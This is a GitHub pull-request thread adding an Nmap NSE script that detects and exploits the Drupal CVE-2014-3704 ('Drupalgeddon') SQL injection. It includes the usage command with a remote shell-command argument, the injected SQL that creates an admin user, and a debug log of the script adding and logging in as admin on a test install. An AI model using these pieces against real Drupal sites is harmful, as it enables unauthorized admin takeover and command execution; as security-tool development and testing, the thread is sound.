Add NSE script for detecting & exploiting CVE-2014-3704 #226

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mzet- commented Oct 14, 2015


Following script detects & exploits CVE-2014-3704 vulnerability (pre Auth SQL Injection) in Drupal core.

Running the script

Running the script:
nmap -P0 -p80 -n --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.cmd="uname -a",

Where 'cmd' parameter is shell command for execution and 'uri' is path to your Drupal installation.


This looks cool! I'll be doing a bit more testing, but my first question is regarding the password hash: it looks like you always generate a hash of the empty string. Is there a reason for this? If it has to be empty/blank, then it would be better to just include the hash literal (constant salt) to avoid doing all the extra computation. On the other hand, maybe we should expose the password to the user and let them set whatever password they want. Either way, the choice should be documented.

Excited to get this merged soon!

mzet- commented Nov 14, 2015


Hash is not blank, password is chosen at random and then hash is generated. Please see the lines 181 & 182 in do_sql_query function:

passwd = stdnse.generate_random_string(10)
passHash = gen_passwd_hash(passwd)

Then passHash is used to construct sql query:

sql_user = url.escape("insert into users (uid,name,pass,mail,status) select max(uid)+1,'" .. user .. "','" .. passHash .. "','" .. email .. "',1 from users;")
@bonsaiviking bonsaiviking Some code cleanup, whitespace, vars
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for these issues.

Minor code changes:
* replaced a chain of string.char(string.byte()) with string.sub.
* Initialized a few tables inline instead of subsequent index assignments

@mzet- I opened a pull request on your branch for some changes that I would like to make before committing this. If you can make sure I did not break anything, I'll be able to get this merged right away. Thanks!

mzet- commented Nov 18, 2015


Thanks for cleanups. I also did some additional cleanups and testing.

mzet- commented Nov 22, 2015


Script is ready for merging.

mzet- commented Dec 11, 2015


Is there anything in the script that prevents you from accepting this PR?

@mzet- I've been involved in the OS X installer issue for a while, but getting back to working through PRs. I'll make this my first priority, thanks for the reminder.

nmap-bot closed this in bb07040 Dec 14, 2015

@qha qha added a commit to qha/nmap that referenced this pull request Dec 16, 2015

@bonsaiviking @qha bonsaiviking + qha Add http-vuln-cve2014-3704 'Drupalgeddon'. Closes #226 fb988ff

phackt commented Jun 1, 2017

Hello guys, is this script running for you? I installed a vulnerable version of Drupal (7.2), i succeeded in exploiting it thanks to this vuln but nmap is not reporting any vulnerable drupal version:

nmap -p 80 --script http-vuln-cve2014-3704

just displays that the port 80 is open. Drupal is at the webroot, no script args needed.
To be honest i did not investigate yet into the script.


mzet- commented Jun 5, 2017

phackt commented Jun 5, 2017

@mzet- yes of course:

$ nmap -d -p 80 --script http-vuln-cve2014-3704

Starting Nmap 7.40SVN ( ) at 2017-06-05 16:25 CEST
--------------- Timing report ---------------
  hostgroups: min 1, max 100000
  rtt-timeouts: init 1000, min 100, max 10000
  max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
  parallelism: min 0, max 0
  max-retries: 10, host-timeout: 0
  min-rate: 0, max-rate: 0
NSE: Using Lua 5.3.
NSE: Arguments from CLI: 
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 16:25
Completed NSE at 16:25, 0.00s elapsed
Initiating Ping Scan at 16:25
Scanning [2 ports]
Completed Ping Scan at 16:25, 0.00s elapsed (1 total hosts)
Overall sending rates: 10928.96 packets / s.
mass_rdns: Using DNS server
mass_rdns: Using DNS server
mass_rdns: Using DNS server fe80::237:b7ff:fe7e:cd74%wlan0
mass_rdns: Using DNS server
Initiating Connect Scan at 16:25
Scanning localhost ( [1 port]
Discovered open port 80/tcp on
Completed Connect Scan at 16:25, 0.00s elapsed (1 total ports)
Overall sending rates: 9523.81 packets / s.
NSE: Script scanning
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 16:25
NSE: Starting http-vuln-cve2014-3704 against
NSE: [http-vuln-cve2014-3704] adding admin user (username: 'QOTQZJWFUD'; passwd: 'ENOROURUBJ')
NSE: [http-vuln-cve2014-3704] logging in as admin user (username: 'QOTQZJWFUD'; passwd: 'ENOROURUBJ')
NSE: Finished http-vuln-cve2014-3704 against
Completed NSE at 16:25, 0.03s elapsed
Nmap scan report for localhost (
Host is up, received syn-ack (0.00012s latency).
Scanned at 2017-06-05 16:25:45 CEST for 0s

80/tcp open  http    syn-ack
Final times for host: srtt: 115 rttvar: 3769  to: 100000

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 16:25
Completed NSE at 16:25, 0.00s elapsed
Read from /home/phackt/Documents/repo/nmap: nmap-payloads nmap-services.
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds


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